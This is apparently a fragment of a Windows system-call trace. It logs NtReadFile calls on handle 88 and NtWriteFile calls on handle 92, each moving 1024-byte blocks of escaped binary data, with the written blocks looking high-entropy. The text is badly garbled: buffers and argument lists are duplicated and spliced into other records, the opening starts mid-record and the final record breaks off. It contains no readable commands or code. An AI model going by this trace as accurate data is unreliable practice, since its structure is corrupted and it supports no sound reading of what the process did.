-+*%\27\23\31\20\23\22\34\20\32\22\22\33\25\27\31\35\13\7\1\6\16\2\4\14\0\10\3\1\13\17\5\16,*')-\33\20\32\26\36\22\24\34\31\31\31\37\26\32\34\24\1\4\4\11\3\7\15\5\10\10\15\1\13\17\5\16-(/$(\22\32\24\27\21\37\21\25\23\30\34\33\33\27\31\35\13\0\13\3\4\17\1\5\3\14\12\3\6\12\14\4*)//%\27\23\31\26\27\37\21\25\23\30\35\31\26\32\34\24\2\10\10", ) /')-\33\20\22\24\27\37\21\25\23\34\34\33\26\32\34\24\3\7\5\11\3\7\15\6\12\13\11\1\13\17\5\16.)')-\33\20\26\20\27\37\21\25\23\32\36\21\33\37\25\27\10\4\10\4\6\16\7\6\11\13\0\14\16\6\17\12/(')-\33\24\22\21\36\22\24\34\31\37\31\30\26\32\34\24\1\2\6\3\16\2\4\14\11\10\17\13\6\12\14\4*,.$(\22\32\23\23\23\20\34\20\32\22\33\22\31\35\24\30\2\12\0\4\2\17\1\5\3\10\10\17\14\7\11\15 -%.,\32\26\20\30\23\21\23\35\37\33\21\23\36\36\24\30\2\12\1\3\2\17\1\5\3\16\3\11\6\12\14\4($+$(\22\32\23\22\21\23\34\20\32\22\33\33\37\25\24\30\2\12\12\3\6\17\1\5\3\10\15\14\6\12\14\4*))+%\27\23\31\22\22\27\22\35\37\33\21\31\35\24\24\30\2\12\6\1\14\17\1\5\3\10\15\17\4\7\11\15 --.-\32\26\20\30\22\25\23\35\37\33\21\32\35\25\30\25\7\3\11\13\5\5\14\0\12\2\14\12\16\7\11\15 -+*%\27\23\31\20\23\22\34\20\32\22\22\33\25\27\31\35\13\7\1\6\16\2\4\14\0\10\3\1\13\17\5\16,*')-\33\20\32\26\36\22\24\34\31\31\31\37\26\32\34\24\1\4\4\11\3\7\15\5\10\10\15\1\13\17\5\16-(/$(\22\32\24\27\21\37\21\25\23\30\34\33\33\27\31\35\13\0\13\3\4\17\1\5\3\14\12\3\6\12\14\4*)//%\27\23\31\26\27\37\21\25\23\30\35\31\26\32\34\24\2\10\10", ) == 0x0
 01413  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, ".\223M\35^\360\251\277\323e\7!vW<\304\230\273\320\\326]\36o\275\1!\253\276\37_9\364&\177\232\300\354q\10\302\12a\372X7\17\325L\364\317J\302\362;r;U\353\4\270\206\14M\215\3c~|)z\276\334\237\177\33>\312\242kaT\326r\362P\204\10D;\244\311?\21\3rLIC\372xwBTNu\256\260\371\344\224M\224\354\274\37\11sF-\213\305\233\322\337\\265WR\232\227\342\352\212U\264\344\257\376{\240\262'\31\366\211\373\15\321\234\205]%\344\360\313\371\332\15\2\251\271\235\261\251\364_\242a\203\263\11\22(\Q\342\345\320wi\223\343V\201\364)"\242\343XR\317\252\357\365\212\315\272|\373c\360\323R\340\16v\262Z\356\366\323\12\330\350\324=\232\361\334v?\223k\31S\370\254\3451#\25\361J\247\346N\373H/\327\22\205,\15\26\237\332\15z\13F\210F\22D\270\374Y-\264\306T7eI\0,v\244Gd\215l)#)\305\30\256\341\344%\365\225\32[3\371r\363\326\311H\241\320.\215J\206\372J\274\243<\327\227{\315k\346\236n\330[\216\253f\266nT^\276PE\273\353?\220\12\367\302f\367@\31]\275\353\214\327\266^X\373\377\315?\273\23\204\262\330\247\215\275\321>\325\325\17\2fN(\352\305E\332\322\204!\4p\327\307\255\362\204qvF\220o\213\27\340\264\276\311\373>\237\312\3502m\233 ?\217('\214\235\227\267\3277f\375Pp\33\340B\363\327\237\5xvU\367\305R\205\360\213\23nN\13=\08\363\344\303\33=j\203\20\242\216\334~\373\257\3614\327N;U\261u\224\333\314\206\246o\242\244\324RW\375bz3`\16\343\226\1\321\14E?\327\237\207\216?\357!J\36\304-\331C\206a", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \242\343XR\317\252\357\365\212\315\272|\373c\360\323R\340\16v\262Z\356\366\323\12\330\350\324=\232\361\334v?\223k\31S\370\254\3451#\25\361J\247\346N\373H/\327\22\205,\15\26\237\332\15z\13F\210F\22D\270\374Y-\264\306T7eI\0,v\244Gd\215l)#)\305\30\256\341\344%\365\225\32[3\371r\363\326\311H\241\320.\215J\206\372J\274\243<\327\227{\315k\346\236n\330[\216\253f\266nT^\276PE\273\353?\220\12\367\302f\367@\31]\275\353\214\327\266^X\373\377\315?\273\23\204\262\330\247\215\275\321>\325\325\17\2fN(\352\305E\332\322\204!\4p\327\307\255\362\204qvF\220o\213\27\340\264\276\311\373>\237\312\3502m\233 ?\217('\214\235\227\267\3277f\375Pp\33\340B\363\327\237\5xvU\367\305R\205\360\213\23nN\13=\08\363\344\303\33=j\203\20\242\216\334~\373\257\3614\327N;U\261u\224\333\314\206\246o\242\244\324RW\375bz3`\16\343\226\1\321\14E?\327\237\207\216?\357!J\36\304-\331C\206a", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01414  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\3\15\11\7\12\13\10!+/%)\24\31\30\24\26\36\27\25\33\36\20\34\36\26\33\35\3\13\5\1\17\4\2\2\0\3\15\11\7\14\14\17+&*,$\27\31\21\31\23\27\35\26\33\36\23\21\33\37\25\36\10\0\7\11\3\7\15\6\12\11\13\1\13\17\5\16"-/$(\22\32\25\25\36\22\24\34\31\31\23\31\26\32\34\24\1\10\3\11\3\7\15\6\17\12\12\1\13\17\5\6,-')-\33\20\23\32\35\37\21\25\23\30\32\34\33\27\31\35\13\0\1\3\1\17\1\5\3\12\13\12\6\12\14\4),$$(\22\32\32\33\20\37\21\25\23\32\33\31\26\32\34\24\1\11\12\3\16\2\4\14\15\0\15\1\13\17\5\13#&*,$\21\24\24\25\36\22\24\34\32\36\37\21\33\37\25\36\6\2\3\11\3\7\15\6\1\14\15\1\13\17\5\10,(')-\33\31\26\25\36\22\24\34\31\35\23\35\26\32\34\24\2\6\0\11\3\7\15\6\15\17\3\1\13\17\5\16"/.$(\22\32\25\24\21\37\21\25\23\30\31\36\36\27\31\35\13\0\5\0\14\17\1\5\3\16\16\3\6\12\14\4()+$(\22\32\27\27\21\37\21\25\23\30\23\37\33\27\31\35\13\2\4\13\16\2\4\14\0\13\14\1\13\17\5\10!+/%.\26\27\27\31\23\27\35\26\20\30\30\21\33\37\25\36\10\10\6\11\3\7\15\6\1\16\0\14\16\6\14\15/&*,$\26\25\21\31\23\27\35\22\31\23\35\31\27\31\32\25\7\3\11\0\14\17\1\5\3\10\3\12\15\7\11\15 -*')\32\26\20\30\25\24\20\23\22\36\30\20\35\25\34\26\12\6\0\10\14\5\5\15\17\13\1\2\11\12\4\10)',(*\31\33\25\21\37\20\36\21\22\36\30\20\36\37\33\25\7\3\11\2\7\3\7\15\17\13\1\12\15\15\17\5,.&/.\31\27\30\24\26\36\22", ) -/$(\22\32\25\25\36\22\24\34\31\31\23\31\26\32\34\24\1\10\3\11\3\7\15\6\17\12\12\1\13\17\5\6,-')-\33\20\23\32\35\37\21\25\23\30\32\34\33\27\31\35\13\0\1\3\1\17\1\5\3\12\13\12\6\12\14\4),$$(\22\32\32\33\20\37\21\25\23\32\33\31\26\32\34\24\1\11\12\3\16\2\4\14\15\0\15\1\13\17\5\13#&*,$\21\24\24\25\36\22\24\34\32\36\37\21\33\37\25\36\6\2\3\11\3\7\15\6\1\14\15\1\13\17\5\10,(')-\33\31\26\25\36\22\24\34\31\35\23\35\26\32\34\24\2\6\0\11\3\7\15\6\15\17\3\1\13\17\5\16 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\3\15\11\7\12\13\10!+/%)\24\31\30\24\26\36\27\25\33\36\20\34\36\26\33\35\3\13\5\1\17\4\2\2\0\3\15\11\7\14\14\17+&*,$\27\31\21\31\23\27\35\26\33\36\23\21\33\37\25\36\10\0\7\11\3\7\15\6\12\11\13\1\13\17\5\16"-/$(\22\32\25\25\36\22\24\34\31\31\23\31\26\32\34\24\1\10\3\11\3\7\15\6\17\12\12\1\13\17\5\6,-')-\33\20\23\32\35\37\21\25\23\30\32\34\33\27\31\35\13\0\1\3\1\17\1\5\3\12\13\12\6\12\14\4),$$(\22\32\32\33\20\37\21\25\23\32\33\31\26\32\34\24\1\11\12\3\16\2\4\14\15\0\15\1\13\17\5\13#&*,$\21\24\24\25\36\22\24\34\32\36\37\21\33\37\25\36\6\2\3\11\3\7\15\6\1\14\15\1\13\17\5\10,(')-\33\31\26\25\36\22\24\34\31\35\23\35\26\32\34\24\2\6\0\11\3\7\15\6\15\17\3\1\13\17\5\16"/.$(\22\32\25\24\21\37\21\25\23\30\31\36\36\27\31\35\13\0\5\0\14\17\1\5\3\16\16\3\6\12\14\4()+$(\22\32\27\27\21\37\21\25\23\30\23\37\33\27\31\35\13\2\4\13\16\2\4\14\0\13\14\1\13\17\5\10!+/%.\26\27\27\31\23\27\35\26\20\30\30\21\33\37\25\36\10\10\6\11\3\7\15\6\1\16\0\14\16\6\14\15/&*,$\26\25\21\31\23\27\35\22\31\23\35\31\27\31\32\25\7\3\11\0\14\17\1\5\3\10\3\12\15\7\11\15 -*')\32\26\20\30\25\24\20\23\22\36\30\20\35\25\34\26\12\6\0\10\14\5\5\15\17\13\1\2\11\12\4\10)',(*\31\33\25\21\37\20\36\21\22\36\30\20\36\37\33\25\7\3\11\2\7\3\7\15\17\13\1\12\15\15\17\5,.&/.\31\27\30\24\26\36\22", ) , ) == 0x0
 01415  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\31R\243\27\346p\25\11n\224}\33\242@\3638\177\225\26\4j\260M_#\33\244x\217\334g\33\4\244\236H\225%z\35\274r\370\27(@\351GE\25E\205\365\263\254B\250\371\265\27\266\247\7\205\20n\212m\265\17k\343\6\254\275>c\13\250\32e\210\316\!\311L\217]\323I\10\26`C\274\260\4\310oj\352\265F\367v#\270p^\242Jp\321T\17\266H\270\36>\251\24J\261\21?;\3611\333\332Xnx\230\346\350\247\360+\332\353\271C\243\301\243\202\1]\254\21\15v\241\27311\205\3\202\322K\312\245\253\340\336\360B\33\241L\377\324se\361\177d0\2\227\375\21\37\344\337\221\202\225\20\255\233\361\330\204\236Hk\314M\261W\276\337q\315\10L\216\242\17\266{\205f\376\344F\4\3267;\1X\2\366i\36\36\10\272h\306\0\276\75\274.i;\347\307\246\230\310\362\33Ee\311=\205\277\220>\220L\232\272\272Jd\275\13\335\300\377T\361\363\374\335f\17F\6\227\370\5\222\335\7\230\313\216\2048-\203_\233\271\13<\357i\330\225\207\215\302\326\221r[t\245\12\267\26?\206\33\316\207\16\231212\11OM\237\200\33\237gd\25d\331\231\17P,\243$L\360X-^\310\213\343\220\305\14\216\14\277\267\371z\26\213;\221\16<4\221Oa=J\257\350\234\266\301\265d\3068\201w\365\26\0\367?\207\36\257\276\336\254\16\202\303a\212\27\322\365\203\364|2\13\252\315m|\335\206\277$c\370Yg\315Y\377\330\260yV\250\253w\303\0h\330\367\33\30\317\360a1\273\270\331\237\247$X\220\274xmU\23\226\230\11t\314c8\351\323\15U\365\305\240\252Y\203\312\232\345\301;\336!\316\222\23=-!}^\233\240\207\311\263\230+\251\356p\270^\331", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01416  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\32\34\24\1\6\5\2\16\2\4\14\11\11\2\13\6\12\14\4*$,'%\27\23\31\22\23\27\21\35\37\33\21\23\33\35\24\30\2\12\5\13\6\17\1\5\3\15\16\11\6\12\14\4/,')-\33\23\33\23\36\22\24\34\31\36\22\30\26\32\34\24\1\6\5\13\16\2\4\14\16\13\15\1\13\17\5\16,/')-\33\20\21\21\34\37\21\25\23\33\22\33\26\32\34\24\1\3\5\7\16\2\4\14\11\1\14\11\6\12\14\4**-$(\22\32\23\26\24\23\34\20\32\22\33\22\33\30\24\30\2\12\3\12\4\1\14\0\12\2\13\11\14\17\4\10)'.-.\32\26\20\30\25\25\24\22\22\36\30\20\35\32\26\27\12\6\0\10\14\5\2\15\17\13\1\12\4\16\7\5,.&(/\26\33\25\21\37\23\37\37\22\36\30\20\35\31\30\33\12\6\0\10\0\6\16\15\17\13\1\10\12\11\4\10)',-'\21\33\25\21\37\24\36\25\35\23\35\31\27\30\31\31\12\6\0\10\5\4\6\5\2\16\10\0\15\17\14\6!+/%&\20\22\30\24\26\36\27\24\21\30\20\34\36\26\37\31\3\1\10\4\6\16\7\4\1\0\0\14\16\6\7\12)&*,$\21\22\25\33\36\22\24\34\20\33\32\21\33\37\25\36\0\7\1\11\3\7\15\16\12\11\0\14\16\6\17\13#/')-\33\20\27\22\27\37\21\25\23\30\32\31\26\32\34\24\7\7\13\11\3\7\15\6\10\13\12\1\13\17\5\12()')-\33\20\27\27\27\37\21\25\23\30\37\23\32\27\31\35\13\0\1\13\15\17\1\5\3\1\14\17\6\12\14\4*(-.%\27\23\31\22\34\22\27\35\37\33\21\32\34\30\30\25\7\3\11\0\1\17\1\5\3\10\16\17\17\7\11\15 (*.%\27\23\31\21\35\21\34\20\32\22\35\31\31\27\31\35\13\0\4\12\1\17\1\5\3\10\10\10\14\7\11\15", ) , ) == 0x0
 01417  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "u\\1`\366a\330i\233x^A\353g\12\321\31HH,p\31\240\341\H\245b\36.\36Q>\306\3372\353F\333\307\24xP\236\306\261\304\25\2\207\213\267\255\325\263\254n\13\225^\271\373\21\274hQTa\267\371/\204\213,t\315\312\222\255\264\216\231\312\177-\265)\215\241\32D\324\201\324\267\211\354\377c#V\17%\169\323\216\2630B\2613^\373\273\21\337#\26\357\356}\313\5~\23\376\37\237\277\346\331x\4\2428\251\262-\37SdT\357\331\340sH\261\363g"\240\37s\346w-\312KP1\31c\361\236\21y\317\360*\34\217\247\314\314 \35\245S\325r\302*\3467(\315f\217\222\227\10M\376\0\273!\226\270\336%a\270~\6\23d\266t\13\307\334\263\234/\13D\365u\245\236#yhu\220\4\245u\334g\20773L\201\250v\217?`\272\5\261aI\335A\357\257\6\220\240n}\263$\373\250U\34\276`#\265c\264C\343A\350q-\357\332\337\226\317\305\356.\272o1G\340\212\332\242\304\367\312\2050\214j\340\177?|\1/\341V?a\344\335@\256240\37s\346w-\312KP1\31c\361\236\21y\317\360*\34\217\247\314\314 \35\245S\325r\302*\3467(\315f\217\222\227\10M\376\0\273!\226\270\336%a\270~\6\23d\266t\13\307\334\263\234/\13D\365u\245\236#yhu\220\4\245u\334g\20773L\201\250v\217?`\272\5\261aI\335A\357\257\6\220\240n}\263$\373\250U\34\276`#\265c\264C\343A\350q-\357\332\337\226\317\305\356.\272o1G\340\212\332\242\304\367\312\2050\214j\340\177?|\1/\341V?a\344\335@\256310\3070\271\225\372\36\352\305\376\343+\223\377\30\360\332\15Z\331kr\267 '\274\307\243d\10\273f\267%\371ln\3376\24-\31~5`\360\35\eB\21\335\24\310p\20\271\305\3\317\10\20?w\366s\22\262i\216J\243\276y\37b\325\212\314iR\277\356r!\206\272[\212r\327\26&\3722w\230it\340\335\375\333\242\37d1kD\337\274\333K_\345\355+/\36?\221p\o\14\323\305I\343\342\260`\20N\3605\337\363\210<\357n\344\2509\345\336\207\270.\302n\12?\37\3613\315\306?\306\6\351K]|\303\307\347\200L\12+\361\240rA6\351\\5\315\5\261W\362", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01418  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\27\30\24\26\36\23\27\36\23\35\31\27\34\30\32\7\13\5\1\17\14\16\15\17\13\1\11\14\14\16\5,.&,/\25\33\25\21\37\27\22\21\22\36\30\20\30\30\37\25\7\3\11\2\4\3\2\15\17\13\1\10\16\5\4\10)'((&\32\26\20\30\25\23\36\20\22\36\30\20\24\24\24\30\2\12\3\12\15\5\14\0\12\2\15\16\12\7\11\15 /-'%\27\23\31\22\27\23\37\35\37\33\21\23\30\34\24\30\2\12\3\5\6\4\14\0\12\2\13\17\15\16\4\10)'.$(\22\32\23\22\34\35\34\20\32\22\30\33\34\37\24\30\2\12\3\0\1\1\14\0\12\2\14\11\12\7\11\15 %-/%\27\23\31\32\24\23\34\20\32\22\33\31\37\36\24\30\2\12\3\3\5\2\14\0\12\2\3\14\17\7\11\15 -.-)\32\26\20\30\25\23\37\21\22\36\30\20\35\34\35\26\12\6\0\10\5\4\4\6\2\16\10\0\15\4\14\11!+/%.\22\20\20\31\23\27\35\26\30\36\33\21\33\37\25\32\7\4\10\4\6\16\1\7\2\16\10\0\17\12\15\5,.&/*\24\31\30\24\26\36\21\24\35\23\35\31\27\32\31\27\12\6\0\10\1\5\2\15\17\13\1\12\12\7\11\15 )*&%\27\23\31\32\20\26\34\20\32\22\33\35\25\32\24\30\2\12\6\12\16\2\4\14\1\12\17\1\13\17\5\16(.-$(\22\32\23\21\21\20\34\20\32\22\34\34\31\27\31\35\13\2\0\3\16\2\4\14\1\1\3\1\13\17\5\6"+')-\33\30\20\25\36\22\24\34\20\36\31\21\33\37\25\31\11\1\10\4\6\16\7\6\15\3\15\11\7\14\15\6.&*,$\30\20\21\31\23\27\35\24\37\37\20\34\36\26\37\31\5\4\10\4\6\16\5\6\13\3\15\11\7\12\13\14!+/%(\26\21\30\24\26\36\27\27\20\21\20\34\36\26\33\32\2\13\5\1", ) +')-\33\30\20\25\36\22\24\34\20\36\31\21\33\37\25\31\11\1\10\4\6\16\7\6\15\3\15\11\7\14\15\6.&*,$\30\20\21\31\23\27\35\24\37\37\20\34\36\26\37\31\5\4\10\4\6\16\5\6\13\3\15\11\7\12\13\14!+/%(\26\21\30\24\26\36\27\27\20\21\20\34\36\26\33\32\2\13\5\1", ) == 0x0
 01419  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\265\33\336\313m\241\377\334k\352\312\273<\203\211\266\372\234S5\317\21\316\$\13\370\222\2368!\310y\316\360\14\231E\253\267\236\231JXG&\241*\243\341\257,tyW\374\245\326\2428\333f\351"\311\335\272\26\211\322\6\13\7@\353\343rc\13\206F\300\254\301W\337\310\7e\201\257/\362\350\2306\320\300\312\60\0\231O\264\342\321\326v\261_\270\11\227\265\242Z\6\367\237\314\250\343Vu\233Z\16U\177\12*\301C]t\323\311*\32\242\216\323Pg\307\372Sh\201\237P\245q~\221\301\234\316\210<\244P\241\333>=\36\306H\2`$\256x\260\317*\340xg\305SP\224\266\241V]0\214\224\260Rg\267\13\351\376UM\222;\252\31O`\165\332f\331\224\355\214\342\334\243\332|\31\222t\261\343*UI\370(\0a\276o\216s\262\230\206\367\341w\304\204-\365\313\206i\4\21\237\11\230\11\33R\272;\273\36\334$\322+\204\214\327\243v\15\366\360\300\305$r\252\270\215h/\12\256\343\23j\\245S\335\227\216\222\300\367\13v\272i\22\367rjGd\237\245U\3w+Ue\3758\332\6\22\272\327>C2\2516\201\252\223\357\366?4Ct\243\277\365B\\177j\206\34\5,13\237r\264\205e\323\7\14\203\17\277\17773\201\310\274\350\2658\301\237\1\265\231\372&6\366u\21\336\35\211\252\245n\200\343\272\322\260\352\257B2\16%X\362z<\33\6O\270,\263\34\211\272\3732)z\326#\207\271\372Y\221\376\326\371mR\235\365_Z}\335\344\3017eKP\310\246\35\375Z\360\360>\350lc\210\1c\232n\236P`\1\215\376~\345\20\261\306\351\13o\300P\231\330Z\367>4\306311\335\272\26\211\322\6\13\7@\353\343rc\13\206F\300\254\301W\337\310\7e\201\257/\362\350\2306\320\300\312\60\0\231O\264\342\321\326v\261_\270\11\227\265\242Z\6\367\237\314\250\343Vu\233Z\16U\177\12*\301C]t\323\311*\32\242\216\323Pg\307\372Sh\201\237P\245q~\221\301\234\316\210<\244P\241\333>=\36\306H\2`$\256x\260\317*\340xg\305SP\224\266\241V]0\214\224\260Rg\267\13\351\376UM\222;\252\31O`\165\332f\331\224\355\214\342\334\243\332|\31\222t\261\343*UI\370(\0a\276o\216s\262\230\206\367\341w\304\204-\365\313\206i\4\21\237\11\230\11\33R\272;\273\36\334$\322+\204\214\327\243v\15\366\360\300\305$r\252\270\215h/\12\256\343\23j\\245S\335\227\216\222\300\367\13v\272i\22\367rjGd\237\245U\3w+Ue\3758\332\6\22\272\327>C2\2516\201\252\223\357\366?4Ct\243\277\365B\\177j\206\34\5,13\237r\264\205e\323\7\14\203\17\277\17773\201\310\274\350\2658\301\237\1\265\231\372&6\366u\21\336\35\211\252\245n\200\343\272\322\260\352\257B2\16%X\362z<\33\6O\270,\263\34\211\272\3732)z\326#\207\271\372Y\221\376\326\371mR\235\365_Z}\335\344\3017eKP\310\246\35\375Z\360\360>\350lc\210\1c\232n\236P`\1\215\376~\345\20\261\306\351\13o\300P\231\330Z\367>4\3062124\360\4\331\311\355\352\2555\357\215\330\317y\350\306\351\203", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01420  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\1\14\17\17\4\10)'%(.\32\26\20\30\25\23\27\22\22\36\30\20\35\37\31\36\12\6\0\10\0\0\17\15\17\13\1\16\16\4\4\10)')')\32\26\20\30\25\24\26\21\22\36\30\20\35\32\34\32\12\6\0\10\5\4\17\15\17\13\1\12\11\13\16\5,.&--\21\33\25\21\37\26\37\23\22\36\30\20\30\32\35\25\7\3\11\2\2\2\4\15\17\13\1\2\14\17\4\10)'+'+\32\26\20\30\25\34\36\24\22\36\30\20\35\31\37\31\12\6\0\10\5\5\2\5\2\16\10\0\17\5\14\5,.&**\26\33\25\21\37\24\20\21\34\23\35\31\27\34\27\26\3\13\5\1\17\4\17\1\13\3\15\11\7\14\12\7-&*,$\22\21\21\31\23\27\35\25\32\37\20\34\36\26\26\27\1\13\5\1\17\4\2\1\17\3\15\11\7\14\7\13.&*,$\21\21\20\22\36\22\24\34\31\31\35\35\26\32\34\24\1\5\6\13\16\2\4\14\17\0\17\1\13\17\5\16.(,$(\22\32\23\33\25\22\34\20\32\22\37\34\33\27\31\35\13\0\1\4\6\17\1\5\3\10\14\11\16\7\11\15 -(/(\32\26\20\30\25\23\26\27\22\36\30\20\32\33\32\25\7\3\11\0\1\4\14\0\12\2\16\12\14\7\11\15 /),%\27\23\31\24\34\20\34\20\32\22\23\33\34\27\31\35\13\0\13\13\16\2\4\14\12\14\3\1\13\17\5\16-*,$(\22\32\23\22\27\24\34\20\32\22\33\36\25\37\24\30\2\12\7\2\5\17\1\5\3\10\10\13\4\7\11\15 +*'%\27\23\31\22\24\34\27\35\37\33\21\31\33\31\24\30\2\12\5\13\4\17\1\5\3\10\3\10\6\12\14\4"*-$(\22\32\23\27\20\25\34\20\32\22\31\22\26\32\34\24\4\3\5\11\3\7\15\6\10\12\14\1\13\17\5\16,/+$(\22\32\33\26\36\22\24\34", ) *-$(\22\32\23\27\20\25\34\20\32\22\31\22\26\32\34\24\4\3\5\11\3\7\15\6\10\12\14\1\13\17\5\16,/+$(\22\32\33\26\36\22\24\34", ) == 0x0
 01421  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\255T\14+\237\340Q;9\320\346\326\353X"u\322\252\251U\13W\351\256\322S\257\210\331\312$\66\16\13,\370\345F\322to\241\254k3Ov\346\305\261\246\303\4\335\371\377\324\210\24\32\365|w\360\330<5\3070\323=e=\213\14<\221\242\217\c\350\17\245\172\274\2\214\227f\225\340\206\3465\252\264\312\223\26S\24`@\236A\342\330\320I)\327\250e\321\363\250\210\353\324x\321\15H\300q\33\304\371\345\27\231B\326m[\274%\23\35\364A\214\370UG\375\27>#\324#Psb\203\5\265\205\210\6\5\350\344m\16\255\252\370h\35\14\302\246\12qGL\302\364\256\320m\224\344\245F\273\237xFw\10\11w\307\210D@\204\305\345\352;\30\262\304\245Y;V\3054T+?\36%T\20\302\266\207M3\20\356\342x?\325v\212\205\1\37@8\216fZ\15!\326?<\364\375H\2#\1\333\3763\307\23\341\2129\2166*\6p\16a\322\213(}\373\245\252\352$\247\353\361\302h\353nHmxqw\221zc:\272\2350\204H6\274\342\224\330\35H\377\246\217Z\266\221bp\301\17xN\230\1\372Z\241\362\376\332>%\352gs\353+\20\276\225\316\17\2435{\331d-2\20\365\332Tr\236)\355&5\226\34W\260O\203\178\15\238\30\340\367\273\362\201\234\370|\24\231W\200q\36\277\236\327\265\35\367\2007\305\326\230\232\353P\222\207\13\370E\226'G\2704\205\0\261\326\34\321\313\203\\314\353\217\31J\332\300\25\336\204;\266\37\317|,RDY?\254\2577\207\330.F_.DhM\223\251\247.\3620D'\232\313wk\310AIT]\235\314(\241\214\351%\327\235\5\14\315\322i;\250\266\224\345T\2278bs?\221F;\14`i-\352\234j\35", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) u\322\252\251U\13W\351\256\322S\257\210\331\312$\66\16\13,\370\345F\322to\241\254k3Ov\346\305\261\246\303\4\335\371\377\324\210\24\32\365|w\360\330<5\3070\323=e=\213\14<\221\242\217\c\350\17\245\172\274\2\214\227f\225\340\206\3465\252\264\312\223\26S\24`@\236A\342\330\320I)\327\250e\321\363\250\210\353\324x\321\15H\300q\33\304\371\345\27\231B\326m[\274%\23\35\364A\214\370UG\375\27>#\324#Psb\203\5\265\205\210\6\5\350\344m\16\255\252\370h\35\14\302\246\12qGL\302\364\256\320m\224\344\245F\273\237xFw\10\11w\307\210D@\204\305\345\352;\30\262\304\245Y;V\3054T+?\36%T\20\302\266\207M3\20\356\342x?\325v\212\205\1\37@8\216fZ\15!\326?<\364\375H\2#\1\333\3763\307\23\341\2129\2166*\6p\16a\322\213(}\373\245\252\352$\247\353\361\302h\353nHmxqw\221zc:\272\2350\204H6\274\342\224\330\35H\377\246\217Z\266\221bp\301\17xN\230\1\372Z\241\362\376\332>%\352gs\353+\20\276\225\316\17\2435{\331d-2\20\365\332Tr\236)\355&5\226\34W\260O\203\178\15\238\30\340\367\273\362\201\234\370|\24\231W\200q\36\277\236\327\265\35\367\2007\305\326\230\232\353P\222\207\13\370E\226'G\2704\205\0\261\326\34\321\313\203\\314\353\217\31J\332\300\25\336\204;\266\37\317|,RDY?\254\2577\207\330.F_.DhM\223\251\247.\3620D'\232\313wk\310AIT]\235\314(\241\214\351%\327\235\5\14\315\322i;\250\266\224\345T\2278bs?\221F;\14`i-\352\234j\35", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01422  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\31\34\12\6\0\10\6\5\4\2\2\16\10\0\15\16\10\13!+/%*\24\31\30\24\26\36\27\22\21\20\20\34\36\26\31\30\12\6\0\10\3\1\0\15\17\13\1\12\10\14\16\5,.&*+\25\33\25\21\37\21\23\35\37\33\21\32\25\24\37\25\7\3\11\2\14\3\5\15\17\13\1\12\15\17\14\5,.&((\32\26\20\30\25\25\27\35\37\33\21\30\25\32\24\30\2\12\4\4\3\17\1\5\3\10\16\16\15\7\11\15 -%&*\32\26\20\30\25\22\26\37\22\36\30\20\35\31\37\27\12\6\0\10\14\14\2\15\17\13\1\2\17\12\4\10)'(/-\32\26\20\30\25\23\37\26\22\36\30\20\33\32\37\25\7\3\11\4\2\2\14\0\12\2\15\10\14\7\11\15 %))%\27\23\31\20\35\26\34\20\32\22\33\30\26\32\34\24\1\7\5\2\16\2\4\14\12\1\13\1\13\17\5\16/)($(\22\32\23\21\21\24\34\20\32\22\37\30\34\27\31\35\13\7\4\2\16\2\4\14\11\15\3\13\6\12\14\4(*-$(\22\32\27\22\24\37\21\25\23\30\32\31\37\27\31\35\13\4\6\12\16\2\4\14\12\11\12\12\6\12\14\4($($(\22\32\23\26\35\24\34\20\32\22\23\35\26\32\34\24\1\4\1\3\16\2\4\14\11\1\10\15\6\12\14\4/*,$(\22\32\23\24\21\23\34\20\32\22\23\36\24\27\31\35\13\0\1\5\6\17\1\5\3\17\2\13\6\12\14\4#.$$(\22\32\23\24\20\20\34\20\32\22\34\35\37\27\31\35\13\0\5\7\6\17\1\5\3\10\10\2\11\7\11\15 -%)*\32\26\20\30\25\21\23\20\22\36\30\20\35\35\36\34\12\6\0\10\14\0\1\15\17\13\1\12\11\11\16\5,.&/&\20\31\30\24\26\36\36\26\31\23\35\31\27\34\30\31\2\13\5\1\17\7\1\7\2\16\10\0\15\17\6\5,", ) , ) == 0x0
 01423  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\332\203\326ac^3 \32j\365\377\322\260\202\13QUz\12~\260f\264\0\344\233R\275b\303|\11\207 7\305/%\236'\31}4\236A\346\30\223p\1\251\220\312\15k\32\304[+\352k*|\306^J4\226\3064\335o+\374\332\345\361\357\312\27\376\13\363\260\33\3509\37\14\227\360<\252\265M\3241S\36g\250\215\232\253W\341\212?\316s\322\342\27\230n`K\321-\365?\12V\21n\12GjWra\227\346O;\3144\375<\142\6\230\365\306|\10;\276\364O\363\21\16Y\314o6\307|\231t\326Z\222\235D=\333\336\345^\366\3051X*\306\363\301Tj\344\10z\2671\222\244I0\353!\355e\373\214\240_\336\344\22v\2529c\266'\203\230\300\16\352\252<\227\265\360\351>\177\27\372\216W \355\267\267\1\371\25\334\343\350\25\220l-,\274\363 